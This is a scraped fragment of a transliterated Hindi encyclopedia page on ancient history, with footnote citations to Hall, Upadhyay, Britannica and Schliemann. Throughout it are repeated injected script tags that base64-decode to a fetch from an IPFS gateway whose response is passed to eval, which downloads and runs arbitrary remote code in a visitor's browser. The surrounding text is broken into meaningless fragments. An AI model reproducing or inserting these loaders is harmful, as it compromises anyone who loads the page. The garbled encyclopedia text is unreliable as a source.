<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 24 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] san.gran. -ech.ar.hal : di esheant histri aauvh‌ d niyar eest, methuen aiand ko., limited, landan, 1950; bh.sh. upadhyay : di eansheant varld, haidarabad, 1954; ensaiklopidiya britanika, khand 1, 1956; shlimaans ekskaiveshans, 1891; ech. ar.hal : di olh

[1]

[2]

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